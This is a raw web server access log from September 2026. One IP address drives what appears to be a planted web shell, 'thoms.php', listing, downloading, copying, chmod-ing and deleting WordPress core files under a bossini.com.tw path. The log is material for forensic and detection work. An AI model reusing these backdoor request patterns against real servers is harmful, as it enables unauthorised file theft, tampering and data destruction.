45.135.193.11 - - [11/Sep/2026:23:27:04 -0400] "GET /thoms.php?dl=feed-rss.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=feed-rss.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:04 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-oembed.php HTTP/1.1" 200 21754 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-oembed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:04 -0400] "GET /bossini.com.tw/wp-includes/ms-files.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:04 -0400] "GET /bossini.com.tw/wp-includes/ms-settings.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:04 -0400] "GET /bossini.com.tw/wp-includes/class-smtp.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:04 -0400] "GET /bossini.com.tw/wp-includes/locale.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:05 -0400] "GET /bossini.com.tw/wp-includes/media-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:05 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Flocale.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11869 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Flocale.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:05 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-block-type.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-block-type.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:04 -0400] "GET /thoms.php?del=class-wp-recovery-mode-key-service.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59191 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-key-service.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:05 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=revision.php HTTP/1.1" 200 21906 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=revision.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:05 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=utf8.php HTTP/1.1" 200 14790 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=utf8.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:05 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2FIXR&p= HTTP/1.1" 200 12334 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2FIXR&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:05 -0400] "GET /bossini.com.tw/wp-includes/class-wp-block-type-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:05 -0400] "GET /thoms.php?del=post-formats.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?del=post-formats.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:05 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-walker-category.php HTTP/1.1" 200 14726 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-walker-category.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:05 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-block-supports.php HTTP/1.1" 200 14337 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-block-supports.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:06 -0400] "GET /thoms.php?chmod=class-wp-http-cookie.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-cookie.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:06 -0400] "GET /thoms.php?chmod=script-modules.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=script-modules.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:05 -0400] "GET /thoms.php?dl=class-wp-comment-query.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?dl=class-wp-comment-query.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:06 -0400] "GET /bossini.com.tw/wp-includes/author-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:06 -0400] "GET /thoms.php?dl=rss.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59174 "http://163.245.207.76:443/thoms.php?dl=rss.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:06 -0400] "GET /thoms.php?chmod=class-walker-nav-menu.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=class-walker-nav-menu.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:06 -0400] "GET /bossini.com.tw/wp-includes/class-wp-plugin-dependencies.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:06 -0400] "GET /thoms.php?del=rest-api&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59161 "http://163.245.207.76:443/thoms.php?del=rest-api&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:06 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-customize-setting.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-customize-setting.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:06 -0400] "GET /thoms.php?dl=class-walker-category-dropdown.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59167 "http://163.245.207.76:443/thoms.php?dl=class-walker-category-dropdown.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:06 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-widget-factory.php HTTP/1.1" 200 13010 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-widget-factory.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:07 -0400] "GET /thoms.php?del=class-wp-xmlrpc-server.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=class-wp-xmlrpc-server.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:07 -0400] "GET /thoms.php?del=class-http.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59151 "http://163.245.207.76:443/thoms.php?del=class-http.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:07 -0400] "GET /thoms.php?dl=class-wp-network-query.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?dl=class-wp-network-query.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:07 -0400] "GET /thoms.php?del=class-wp-http-response.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59154 "http://163.245.207.76:443/thoms.php?del=class-wp-http-response.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:07 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fkses.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11865 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fkses.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:07 -0400] "GET /thoms.php?chmod=rest-api.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=rest-api.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:07 -0400] "GET /bossini.com.tw/wp-includes/json-schema.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:07 -0400] "GET /bossini.com.tw/wp-includes/script-loader.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:07 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes%2FText HTTP/1.1" 200 13188 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes%2FText" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:08 -0400] "GET /thoms.php?chmod=error_log&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=error_log&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:08 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ftheme.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ftheme.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:08 -0400] "GET /thoms.php?del=template-loader.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59192 "http://163.245.207.76:443/thoms.php?del=template-loader.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:08 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-block-supports.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-block-supports.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:08 -0400] "GET /thoms.php?dl=update.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59162 "http://163.245.207.76:443/thoms.php?dl=update.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:08 -0400] "GET /thoms.php?del=assets&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=assets&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:08 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-http-requests-hooks.php HTTP/1.1" 200 12780 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-http-requests-hooks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:08 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-http-response.php HTTP/1.1" 200 12929 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-http-response.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:08 -0400] "GET /bossini.com.tw/wp-includes/error-protection.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:08 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-text-diff-renderer-table.php HTTP/1.1" 200 17491 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-text-diff-renderer-table.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:09 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ftheme.json&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ftheme.json&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:09 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-requests.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-requests.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:09 -0400] "GET /thoms.php?chmod=class-wp-connector-registry.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=class-wp-connector-registry.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:09 -0400] "GET /thoms.php?del=class-wp-theme-json.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59156 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:09 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fpost-formats.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fpost-formats.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:09 -0400] "GET /bossini.com.tw/wp-includes/class-wp-editor.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:09 -0400] "GET /thoms.php?dl=compat-utf8.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?dl=compat-utf8.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:09 -0400] "GET /bossini.com.tw/wp-includes/class-wp-post.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:09 -0400] "GET /thoms.php?dl=post-thumbnail-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=post-thumbnail-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:09 -0400] "GET /thoms.php?del=wp-diff.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59134 "http://163.245.207.76:443/thoms.php?del=wp-diff.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:10 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=media.php HTTP/1.1" 200 83005 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=media.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:10 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fupdate.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11868 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fupdate.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:10 -0400] "GET /bossini.com.tw/wp-includes/class-wp-image-editor-gd.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:10 -0400] "GET /thoms.php?dl=script-loader.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59115 "http://163.245.207.76:443/thoms.php?dl=script-loader.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:10 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-url-pattern-prefixer.php HTTP/1.1" 200 13711 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-url-pattern-prefixer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:10 -0400] "GET /thoms.php?chmod=class-pop3.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=class-pop3.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:10 -0400] "GET /bossini.com.tw/wp-includes/class-wp-embed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:10 -0400] "GET /thoms.php?del=class-json.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=class-json.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:10 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-block-bindings-registry.php HTTP/1.1" 200 14284 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-block-bindings-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:10 -0400] "GET /thoms.php?chmod=class-wp-exception.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=class-wp-exception.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:10 -0400] "GET /thoms.php?chmod=class-wp-roles.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=class-wp-roles.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:11 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-script-modules.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11842 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-script-modules.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:11 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass.wp-dependencies.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass.wp-dependencies.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:11 -0400] "GET /thoms.php?chmod=cron.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=cron.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:11 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-avif-info.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-avif-info.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
